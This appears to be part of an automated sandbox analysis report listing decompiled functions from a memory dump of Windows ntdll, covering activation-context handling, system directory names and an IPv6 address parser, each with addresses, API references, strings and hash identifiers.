0x6b5a1fe6
0x00000000
0x00000000
0x6b5a1ff2
0x6b5a1ff7
0x6b5a1ffe
0x6b5a2004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B546D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B546D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B546D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B546D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B546DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B546DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B546DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B546DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6B5A1F53

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: 0d1dd5e5042154dad09f5aa07cea8c1f794a3fe8745c732da43949a96ed1416c
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 8AB1D675E4436A9BFB04CF68C990BEFBBB5EF4A304F1084E9D851EB244D73899418791

Uniqueness

Uniqueness Score: -1.00%

Function 6B544360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6B544360(signed int _a4, unsigned int _a8) {
				void* _v4;
				signed int _v8;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t43;
				signed char _t46;
				signed int _t67;
				signed int _t69;
				void* _t70;
				signed int _t79;
				signed int _t82;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;

				_t89 = (_t87 & 0xfffffff8) - 0x5c;
				_t40 =  *0x6b63d360 ^ _t89;
				_v8 =  *0x6b63d360 ^ _t89;
				_push(_t85);
				if((_a4 & 0xfffffffe) != 0) {
					_push(_a4);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid flags 0x%08lx\n");
					L17:
					_push(0);
					_push(0x33);
					E6B5D5720();
					_t89 = _t89 + 0x14;
					L19:
					_push(0xc000000d);
					L21:
					L6B59DF30(_t71, _t80);
					L22:
					_t82 =  *_t85;
					_t71 = 0;
					if(_t82 == 0) {
						_t43 = 0;
					} else {
						asm("sbb eax, eax");
						_t43 =  ~( *(_t82 + 8) & 8) & _t82;
					}
					if(_t82 == 0) {
						L20:
						_push(0xc0150010);
						goto L21;
					} else {
						while(_t43 == 0 ||  *((intOrPtr*)(_t43 + 0xc)) != _t80) {
							_t82 =  *_t82;
							_t71 = _t71 + 1;
							if(_t82 == 0) {
								_t43 = 0;
							} else {
								asm("sbb eax, eax");
								_t43 =  ~( *(_t82 + 8) & 8) & _t82;
							}
							if(_t82 != 0) {
								continue;
							}
							break;
						}
						if(_t82 == 0) {
							goto L20;
						}
						_v84 = _v84 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_push( &_v92);
						_v76 = 3;
						_v72 = _t71;
						_v68 = _t82;
						_v64 = _t85;
						_v92 = 0xc015000f;
						E6B59DEF0(_t71, _t80);
						L8:
						_t83 =  *_t82;
						do {
							_t46 =  *(_t85 + 8);
							_t69 =  *_t85;
							if((_t46 & 0x00000001) != 0) {
								E6B579B10( *((intOrPtr*)(_t85 + 4)));
								_t46 =  *(_t85 + 8);
							}
							if((_t46 & 0x00000008) != 0) {
								_t80 = _t85;
								E6B544439(_v88, _t85);
							}
							_t85 = _t69;
						} while (_t69 != _t83);
						_t40 = _v88;
						 *_v88 = _t83;
						L14:
						_pop(_t84);
						_pop(_t86);
						_pop(_t70);
						return E6B58B640(_t40, _t70,  *(_t89 + 0x64) ^ _t89, _t80, _t84, _t86);
					}
				}
				_t80 = _a8;
				if(_t80 == 0) {
					goto L14;
				}
				if((_t80 & 0xf0000000) != 0x10000000) {
					_push(_t80);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid cookie type 0x%08Ix\n");
					goto L17;
				}
				_t85 = 0xfff;
				_t71 = _t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14);
				_t40 =  *( *[fs:0x18] + 0x1a8);
				if((0x00000fff & (_t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14))) != 0) {
					_push( *(_t40 + 0x14) & 0x00000fff);
					_push(_t80);
					E6B5D5720(0x33, 0, "SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix\n", "RtlDeactivateActivationContext");
					_t89 = _t89 + 0x18;
					goto L19;
				}
				_t85 =  *_t40;
				_v96 = _t40;
				if(_t85 == 0) {
					goto L14;
				}
				_t67 =  *(_t85 + 8) & 0x00000008;
				asm("sbb ecx, ecx");
				_t79 =  ~_t67 & _t85;
				if(_t67 == 0 ||  *((intOrPtr*)(_t79 + 0xc)) != _t80) {
					goto L22;
				} else {
					_t82 = _t85;
					goto L8;
				}
			}

0x6b544368
0x6b544370
0x6b544372
0x6b54437e
0x6b544380
0x6b5a072a
0x6b5a072d
0x6b5a0732
0x6b5a0744
0x6b5a0744
0x6b5a0746
0x6b5a0748
0x6b5a074d
0x6b5a076f
0x6b5a076f
0x6b5a077b
0x6b5a077b
0x6b5a0780
0x6b5a0780
0x6b5a0782
0x6b5a0786
0x6b5a0798
0x6b5a0788
0x6b5a0792
0x6b5a0794
0x6b5a0794
0x6b5a079c
0x6b5a0776
0x6b5a0776
0x00000000
0x6b5a079e
0x6b5a079e
0x6b5a07a7
0x6b5a07a9
0x6b5a07ac
0x6b5a07be
0x6b5a07ae
0x6b5a07b8
0x6b5a07ba
0x6b5a07ba
0x6b5a07c2
0x00000000
0x00000000
0x00000000
0x6b5a07c2
0x6b5a07c6
0x00000000
0x00000000
0x6b5a07c8
0x6b5a07d1
0x6b5a07d6
0x6b5a07d7
0x6b5a07df
0x6b5a07e3
0x6b5a07e7
0x6b5a07eb
0x6b5a07f3
0x6b5443fb
0x6b5443fb
0x6b5443fd
0x6b5443fd
0x6b544400
0x6b544404
0x6b5a0800
0x6b5a0805
0x6b5a0805
0x6b54440c
0x6b544412
0x6b544414
0x6b544414
0x6b544419
0x6b54441b
0x6b54441f
0x6b544423
0x6b544425
0x6b544429
0x6b54442a
0x6b54442b
0x6b544436
0x6b544436
0x6b5a079c
0x6b544386
0x6b54438b
0x00000000
0x00000000
0x6b54439d
0x6b5a0739
0x6b5a073a
0x6b5a073f
0x00000000
0x6b5a073f
0x6b5443ae
0x6b5443b9
0x6b5443c2
0x6b5443ca
0x6b5a0757
0x6b5a0758
0x6b5a0767
0x6b5a076c
0x00000000
0x6b5a076c
0x6b5443d0
0x6b5443d2
0x6b5443d8
0x00000000
0x00000000
0x6b5443dd
0x6b5443e4
0x6b5443e6
0x6b5443ea
0x00000000
0x6b5443f9
0x6b5443f9
0x00000000
0x6b5443f9

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6B5A0748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6B5A0767
RtlRaiseStatus.1105(C000000D), ref: 6B5A077B
RtlRaiseException.1105(?,?,?), ref: 6B5A07F3
RtlReleaseActivationContext.1105(?), ref: 6B5A0800

Strings

SXS: %s() called with invalid flags 0x%08lx, xrefs: 6B5A0732
RtlDeactivateActivationContext, xrefs: 6B5A072D, 6B5A073A, 6B5A0759
SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6B5A073F
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6B5A075E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: 2affbb2aaf3e33419151d26bf95b909bf79c94094f3b2a993cbece77d54af3f0
Instruction ID: 662c3d7cee4093cdb1c0088eeb56caf9146edb821b11f07bc25b39e75be3ba37
Opcode Fuzzy Hash: 2affbb2aaf3e33419151d26bf95b909bf79c94094f3b2a993cbece77d54af3f0
Instruction Fuzzy Hash: A641EA316A47119BF711CF29C851BAAB3E1EB80B54F18495EF465AB344DB7CF8018FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B585969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6B585969(void* __ecx) {
				intOrPtr _v8;
				void* _v12;
				short* _t29;
				intOrPtr _t32;
				signed int* _t37;
				signed int _t38;
				void* _t41;
				intOrPtr _t43;
				signed int** _t44;
				signed int* _t45;
				void _t47;
				intOrPtr* _t49;
				void* _t51;

				_push(__ecx);
				_push(__ecx);
				_t51 = __ecx;
				if(__ecx == 0) {
					E6B5E5100(__ecx, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x20c, "This != NULL");
					_t47 = 0xc00000e5;
					L9:
					return _t47;
				}
				if( *((char*)(__ecx + 0x28)) == 0) {
					L7:
					_t47 = 0;
					L8:
					memset(_t51, 0, 0x2c);
					goto L9;
				}
				_t41 =  *(__ecx + 0x20);
				if(_t41 == 0 ||  *((intOrPtr*)(_t41 + 4)) == 0) {
					_t45 =  *(_t51 + 0x1c);
					if(_t45 != 0) {
						if(_t45[1] !=  *((intOrPtr*)(_t51 + 4))) {
							goto L5;
						}
						_t38 =  *_t51 & 0x0000ffff;
						if(_t38 > _t45[0]) {
							_push("rUS.Length <= This->PrivatePreallocatedString->MaximumLength");
							_push(0x219);
							goto L14;
						}
						 *_t45 = _t38;
						_t44 =  *(_t51 + 0x24);
						if(_t44 == 0) {
							goto L7;
						}
						_t37 =  *(_t51 + 0x1c);
						L19:
						 *_t44 = _t37;
						goto L7;
					}
					L5:
					if(_t41 == 0) {
						_t49 = _t51 + 8;
						if(_t49 != 0) {
							_t32 =  *_t49;
							if(_t32 != 0) {
								_t43 =  *((intOrPtr*)(_t51 + 0xc));
								if(_t32 != _t43) {
									_v8 = _t32;
									RtlFreeUnicodeString( &_v12);
									_t43 =  *((intOrPtr*)(_t51 + 0xc));
								}
								 *_t49 = _t43;
								 *((intOrPtr*)(_t51 + 0x10)) =  *((intOrPtr*)(_t51 + 0x14));
							}
						}
						_t29 =  *((intOrPtr*)(_t51 + 0xc));
						 *((intOrPtr*)(_t51 + 4)) = _t29;
						if(_t29 != 0) {
							 *_t29 = 0;
						}
						 *_t51 = 0;
						 *((short*)(_t51 + 2)) =  *((intOrPtr*)(_t51 + 0x14));
						goto L7;
					}
					 *_t41 =  *_t51;
					 *((intOrPtr*)(_t41 + 4)) =  *((intOrPtr*)(_t51 + 4));
					_t44 =  *(_t51 + 0x24);
					if(_t44 != 0) {
						_t37 =  *(_t51 + 0x20);
						goto L19;
					}
					goto L7;
				} else {
					_push("(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)");
					_push(0x214);
					L14:
					_push("minkernel\\ntdll\\sxsisol.cpp");
					_push("Internal error check failed");
					E6B5E5100(_t41);
					_t47 = 0xc00000e5;
					goto L8;
				}
			}

0x6b58596e
0x6b58596f
0x6b585971
0x6b585976
0x6b5bf9b3
0x6b5bf9b8
0x6b5859c6
0x6b5859cd
0x6b5859cd
0x6b585980
0x6b5859b7
0x6b5859b7
0x6b5859b9
0x6b5859be
0x00000000
0x6b5859c3
0x6b585982
0x6b585987
0x6b585993
0x6b585998
0x6b5bf9f7
0x00000000
0x00000000
0x6b5bf9fd
0x6b5bfa04
0x6b5bf9ce
0x6b5bf9d3
0x00000000
0x6b5bf9d3
0x6b5bfa06
0x6b5bfa09
0x6b5bfa0e
0x00000000
0x00000000
0x6b5bfa14
0x6b5bfa17
0x6b5bfa17
0x00000000
0x6b5bfa17
0x6b58599e
0x6b5859a0
0x6b5bfa1e
0x6b5bfa23
0x6b5bfa25
0x6b5bfa29
0x6b5bfa2b
0x6b5bfa30
0x6b5bfa32
0x6b5bfa39
0x6b5bfa3e
0x6b5bfa3e
0x6b5bfa44
0x6b5bfa46
0x6b5bfa46
0x6b5bfa29
0x6b5bfa49
0x6b5bfa4c
0x6b5bfa51
0x6b5bfa55
0x6b5bfa55
0x6b5bfa5a
0x6b5bfa61
0x00000000
0x6b5bfa61
0x6b5859a8
0x6b5859ad
0x6b5859b0
0x6b5859b5
0x6b5859ce
0x00000000
0x6b5859ce
0x00000000
0x6b5bf9c2
0x6b5bf9c2
0x6b5bf9c7
0x6b5bf9d8
0x6b5bf9d8
0x6b5bf9dd
0x6b5bf9e2
0x6b5bf9e7
0x00000000
0x6b5bf9e7

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6B56291C), ref: 6B5859BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6B56291C), ref: 6B5BF9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6B56291C), ref: 6B5BF9E2

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6B5BF9A9, 6B5BF9D8
rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6B5BF9CE
This != NULL, xrefs: 6B5BF99F
Internal error check failed, xrefs: 6B5BF9AE, 6B5BF9DD
(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6B5BF9C2

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: 41aa334785fbc56d3a25b81b68999ca678027cbb4a85c166a27107676861e31b
Instruction ID: fa3f306294827fae8249f24257b73f6b778a4385accc57d86019a49ef7614cd1
Opcode Fuzzy Hash: 41aa334785fbc56d3a25b81b68999ca678027cbb4a85c166a27107676861e31b
Instruction Fuzzy Hash: 6531B238601711ABF728CF29D460F96B3E1EF44714B10899EE59AD7740E338F841CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6B5819F0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6B5819F0(signed int __ecx, void* __edx, struct _EXCEPTION_RECORD _a4) {
				void* _t3;
				WCHAR* _t4;
				void* _t6;
				void* _t7;

				_t3 = (__ecx & 0x0000ffff) - 1;
				if(_t3 == 0) {
					_t4 = L"\\System32\\";
					if(__edx == 0) {
						_t4 = L"System32";
					}
					L4:
					RtlInitUnicodeString(_a4, _t4);
					return 0;
				}
				_t6 = _t3 - 0x14b;
				if(_t6 != 0) {
					_t7 = _t6 - 0x78;
					if(_t7 == 0) {
						if(__edx == 0) {
							_t4 = L"SysARM32";
						} else {
							_t4 = L"\\SysARM32\\";
						}
						goto L4;
					}
					if(_t7 == 0x38a0) {
						if(__edx == 0) {
							_t4 = L"SyCHPE32";
						} else {
							_t4 = L"\\SyCHPE32\\";
						}
						goto L4;
					}
					return 0xc000000d;
				} else {
					if(__edx != 0) {
						_t4 = L"\\SysWOW64\\";
					} else {
						_t4 = L"SysWOW64";
					}
					goto L4;
				}
			}

0x6b5819f8
0x6b5819fb
0x6b581a20
0x6b581a27
0x6b581a29
0x6b581a29
0x6b581a11
0x6b581a15
0x00000000
0x6b581a1a
0x6b5819fd
0x6b581a02
0x6b5bd31c
0x6b5bd31f
0x6b5bd34c
0x6b5bd358
0x6b5bd34e
0x6b5bd34e
0x6b5bd34e
0x00000000
0x6b5bd34c
0x6b5bd326
0x6b5bd334
0x6b5bd340
0x6b5bd336
0x6b5bd336
0x6b5bd336
0x00000000
0x6b5bd334
0x00000000
0x6b581a08
0x6b581a0a
0x6b581a30
0x6b581a0c
0x6b581a0c
0x6b581a0c
0x00000000
0x6b581a0a

APIs

RtlInitUnicodeString.1105(?,\System32\,?,6B5819C0,?,?,\SysWOW64,02140000,00000000,?,?), ref: 6B581A15

Strings

\SyCHPE32\, xrefs: 6B5BD336
System32, xrefs: 6B581A11, 6B581A29
SysARM32, xrefs: 6B5BD358
SysWOW64, xrefs: 6B581A0C
\SysWOW64\, xrefs: 6B581A30
\SysARM32\, xrefs: 6B5BD34E
SyCHPE32, xrefs: 6B5BD340
\System32\, xrefs: 6B581A20

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID: SyCHPE32$SysARM32$SysWOW64$System32$\SyCHPE32\$\SysARM32\$\SysWOW64\$\System32\
API String ID: 4228678080-2516413534
Opcode ID: b401913c8f318156cd8e9d1acc7ad69c882dda0015772a95e06fe3ababb0e740
Instruction ID: 3829e899c31c876cf250bc8bf614de5909099037f786610a24ede50ced0731f4
Opcode Fuzzy Hash: b401913c8f318156cd8e9d1acc7ad69c882dda0015772a95e06fe3ababb0e740
Instruction Fuzzy Hash: 6FF03A666CC23486F611A63C9A913E62B868B4A7D4F8005E2AD62DF799E13FCD4443C6

Uniqueness

Uniqueness Score: -1.00%

Function 6B540BD0, Relevance: 15.3, APIs: 10, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6B540BD0(wchar_t* _a4, wchar_t** _a8, intOrPtr _a12) {
				char _v5;
				wchar_t* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				wchar_t* _v28;
				signed int _v32;
				long _t110;
				wchar_t** _t113;
				wchar_t* _t114;
				wchar_t* _t115;
				long _t116;
				long _t117;
				signed int _t118;
				int _t121;
				int _t122;
				void* _t123;
				wchar_t** _t126;
				int _t127;
				int _t128;
				wchar_t** _t129;
				signed int _t130;
				wchar_t* _t134;
				char _t135;
				wchar_t** _t138;
				char _t141;
				wchar_t** _t144;
				intOrPtr _t145;
				wchar_t* _t146;
				signed int _t147;
				long _t150;
				wchar_t** _t151;
				void* _t153;
				intOrPtr _t154;
				wchar_t* _t155;
				void* _t157;

				_t146 = _a4;
				_t144 = 0;
				_t129 = 0;
				_v20 = 0;
				_v28 = 0;
				_v5 = 0;
				_t150 =  *_t146 & 0x0000ffff;
				_v12 = 0;
				_v16 = 0;
				_v32 = 0;
				_v24 = 0;
				if(_t150 == 0) {
					_t134 = 0;
					L10:
					_t151 = _v20;
					 *_a8 = _t146;
					if(_t151 != 0) {
						if(_t151 != 3) {
							L13:
							return 0xc000000d;
						}
						_t134 = _t134 + 1;
						_v12 = _t134;
					}
					_t147 = _v32;
					if(_t147 != 0 || _t134 == 7) {
						if(_t129 != 1) {
							if(_t129 != 2) {
								goto L13;
							}
							_t145 = _a12;
							 *((short*)(_t145 + _v24 * 2)) = 0;
							L68:
							if(_t147 != 0) {
								_t153 = _t145 + _t147 * 2;
								_t89 = _t145 + 0x10; // 0x10
								memmove(_t89 + (_t147 - _t134) * 2, _t153, _t134 - _t147 + _t134 - _t147);
								memset(_t153, 0, 8 - _v12 + 8 - _v12);
							}
							return 0;
						}
						if(_t151 != 0) {
							if(_v16 > 3) {
								goto L13;
							}
							_t135 = wcstol(_v28, 0, 0xa);
							_t157 = _t157 + 0xc;
							if(_t135 > 0xff) {
								goto L13;
							}
							_t145 = _a12;
							 *((char*)(_t151 + _v24 * 2 + _t145)) = _t135;
							_t134 = _v12;
							goto L68;
						}
						if(_v16 > 4) {
							goto L13;
						}
						_t110 = wcstol(_v28, _t151, 0x10);
						_t145 = _a12;
						_t157 = _t157 + 0xc;
						 *((short*)(_t145 + _v24 * 2)) = _t110;
						_t134 = _v12;
						goto L68;
					} else {
						goto L13;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					_t113 = _t129;
					if(_t113 == 0) {
						L15:
						if(_t150 == 0x3a) {
							if(_t144 != 0 || _v12 > _t144) {
								L9:
								_t134 = _v12;
								goto L10;
							} else {
								_t114 =  &(_t146[0]);
								if(_t146[0] != 0x3a) {
									goto L9;
								}
								_t130 = _v24;
								_t154 = _a12;
								_v32 = 1;
								_v12 = 2;
								 *((short*)(_t154 + _t130 * 2)) = 0;
								_v24 = 1 + _t130;
								_t146 = _t114;
								_t47 =  &(_t144[0]); // 0x2
								_t129 = _t47;
								L49:
								_t115 = _v28;
								if(_t115 == 0) {
									goto L24;
								}
								if(_t144 != 0) {
									if(_v16 > 3) {
										goto L13;
									}
									_t116 = wcstol(_t115, 0, 0xa);
									_t157 = _t157 + 0xc;
									if(_t116 > 0xff) {
										goto L13;
									}
									_t144 = _v20;
									 *(_t144 + _v24 * 2 + _t154 - 1) = _t116;
									_t141 = _v5;
									goto L24;
								}
								if(_v16 > 4) {
									goto L13;
								}
								_t117 = wcstol(_t115, _t144, 0x10);
								_t144 = _v20;
								_t157 = _t157 + 0xc;
								_t118 = _v24;
								 *((short*)(_t154 + _t118 * 2)) = _t117;
								_t141 = _v5;
								_v24 = 1 + _t118;
								goto L24;
							}
						}
						_t134 = _v12;
						if(_t134 > 7 || _t150 >= 0x80) {
							goto L10;
						} else {
							_t121 = iswctype(_t150, 4);
							_t157 = _t157 + 8;
							if(_t121 != 0) {
								_t144 = _v20;
								_t129 = 1;
								_t138 = 0;
								_v28 = _t146;
								_v16 = 1;
								L23:
								_v5 = _t138;
								goto L24;
							}
							_t122 = iswctype(_t150, 0x80);
							_t157 = _t157 + 8;
							if(_t122 == 0) {
								goto L9;
							}
							_t144 = _v20;
							if(_t144 != 0) {
								goto L9;
							}
							_t129 = 1;
							_v28 = _t146;
							_v16 = 1;
							L22:
							_t138 = 1;
							goto L23;
						}
					}
					_t123 = _t113 - 1;
					if(_t123 != 0) {
						if(_t123 == 1) {
							goto L15;
						}
						L39:
						if(_t129 == 1) {
							goto L24;
						}
						_t154 = _a12;
						goto L49;
					}
					if(_t150 >= 0x80) {
						L7:
						if(_t150 == 0x3a) {
							if(_t144 != 0) {
								goto L9;
							}
							_t155 = _v12;
							if(_t155 > 6) {
								goto L9;
							}
							if(_t146[0] != 0x3a) {
								_t129 = 0;
								_t126 = 1;
								L38:
								_v12 = _t155 + _t126;
								goto L39;
							}
							if(_v32 != _t144) {
								goto L9;
							}
							_t146 =  &(_t146[0]);
							_v32 = _t155 + 1;
							_t129 = 2;
							_t126 = 2;
							goto L38;
						}
						if(_t150 == 0x2e) {
							if(_t141 != 0 || _t144 > 2 || _v12 > 6) {
								goto L9;
							} else {
								_t154 = _a12;
								_t144 =  &(_t144[0]);
								_v20 = _t144;
								_t129 = 0;
								goto L49;
							}
						}
						goto L9;
					}
					_t127 = iswctype(_t150, 4);
					_t157 = _t157 + 8;
					if(_t127 != 0) {
						_v16 = 1 + _v16;
						_t141 = _v5;
						_t144 = _v20;
						goto L24;
					}
					_t128 = iswctype(_t150, 0x80);
					_t144 = _v20;
					_t157 = _t157 + 8;
					if(_t128 != 0) {
						_v16 =  &(_v16[0]);
						if(_t144 == 0) {
							goto L22;
						}
						goto L9;
					}
					_t141 = _v5;
					goto L7;
					L24:
					_t150 = _t146[0] & 0x0000ffff;
					_t146 =  &(_t146[0]);
				} while (_t150 != 0);
				goto L9;
			}

0x6b540bdb
0x6b540bde
0x6b540be0
0x6b540be2
0x6b540be7
0x6b540bea
0x6b540bed
0x6b540bf0
0x6b540bf3
0x6b540bf6
0x6b540bf9
0x6b540bff
0x6b540d14
0x6b540c69
0x6b540c6c
0x6b540c6f
0x6b540c73
0x6b59e8fd
0x6b540c8d
0x00000000
0x6b540c8d
0x6b59e903
0x6b59e904
0x6b59e904
0x6b540c79
0x6b540c7e
0x6b59e90f
0x6b59e97b
0x00000000
0x00000000
0x6b59e981
0x6b59e989
0x6b59e98d
0x6b59e98f
0x6b59e993
0x6b59e99d
0x6b59e9a5
0x6b59e9b8
0x6b59e9bd
0x00000000
0x6b59e9c0
0x6b59e913
0x6b59e944
0x00000000
0x00000000
0x6b59e956
0x6b59e958
0x6b59e961
0x00000000
0x00000000
0x6b59e96a
0x6b59e970
0x6b59e973
0x00000000
0x6b59e973
0x6b59e919
0x00000000
0x00000000
0x6b59e925
0x6b59e92a
0x6b59e931
0x6b59e937
0x6b59e93b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b540c05
0x6b540c05
0x6b540c07
0x6b540c0a
0x6b540c9b
0x6b540c9f
0x6b59e82f
0x6b540c66
0x6b540c66
0x00000000
0x6b59e83e
0x6b59e843
0x6b59e846
0x00000000
0x00000000
0x6b59e84c
0x6b59e851
0x6b59e854
0x6b59e85b
0x6b59e862
0x6b59e867
0x6b59e86a
0x6b59e86c
0x6b59e86c
0x6b59e86f
0x6b59e86f
0x6b59e874
0x00000000
0x00000000
0x6b59e87c
0x6b59e8b2
0x00000000
0x00000000
0x6b59e8bd
0x6b59e8c2
0x6b59e8ca
0x00000000
0x00000000
0x6b59e8d0
0x6b59e8d9
0x6b59e8dd
0x00000000
0x6b59e8dd
0x6b59e882
0x00000000
0x00000000
0x6b59e88c
0x6b59e891
0x6b59e898
0x6b59e89b
0x6b59e89e
0x6b59e8a3
0x6b59e8a6
0x00000000
0x6b59e8a6
0x6b59e82f
0x6b540ca5
0x6b540cab
0x00000000
0x6b540cb7
0x6b540cba
0x6b540cbf
0x6b540cc4
0x6b59e8e5
0x6b59e8e8
0x6b59e8ed
0x6b59e8ef
0x6b59e8f2
0x6b540cf0
0x6b540cf0
0x00000000
0x6b540cf0
0x6b540cd0
0x6b540cd5
0x6b540cda
0x00000000
0x00000000
0x6b540cdc
0x6b540ce1
0x00000000
0x00000000
0x6b540ce3
0x6b540ce8
0x6b540ceb
0x6b540cee
0x6b540cee
0x00000000
0x6b540cee
0x6b540cab
0x6b540c10
0x6b540c13
0x6b59e7a1
0x00000000
0x00000000
0x6b59e7f9
0x6b59e7fc
0x00000000
0x00000000
0x6b59e802
0x00000000
0x6b59e802
0x6b540c21
0x6b540c52
0x6b540c56
0x6b59e7b9
0x00000000
0x00000000
0x6b59e7bf
0x6b59e7c5
0x00000000
0x00000000
0x6b59e7d0
0x6b59e7ed
0x6b59e7ef
0x6b59e7f4
0x6b59e7f6
0x00000000
0x6b59e7f6
0x6b59e7d5
0x00000000
0x00000000
0x6b59e7de
0x6b59e7e1
0x6b59e7e4
0x6b59e7e9
0x00000000
0x6b59e7e9
0x6b540c60
0x6b59e809
0x00000000
0x6b59e822
0x6b59e822
0x6b59e825
0x6b59e826
0x6b59e829
0x00000000
0x6b59e829
0x6b59e809
0x00000000
0x6b540c60
0x6b540c26
0x6b540c2b
0x6b540c30
0x6b59e7a9
0x6b59e7ac
0x6b59e7af
0x00000000
0x6b59e7af
0x6b540c3c
0x6b540c41
0x6b540c44
0x6b540c49
0x6b540d08
0x6b540d0d
0x00000000
0x00000000
0x00000000
0x6b540d0f
0x6b540c4f
0x00000000
0x6b540cf3
0x6b540cf3
0x6b540cf7
0x6b540cfa
0x00000000

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6B540C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6B540C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6B540CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6B540CD0
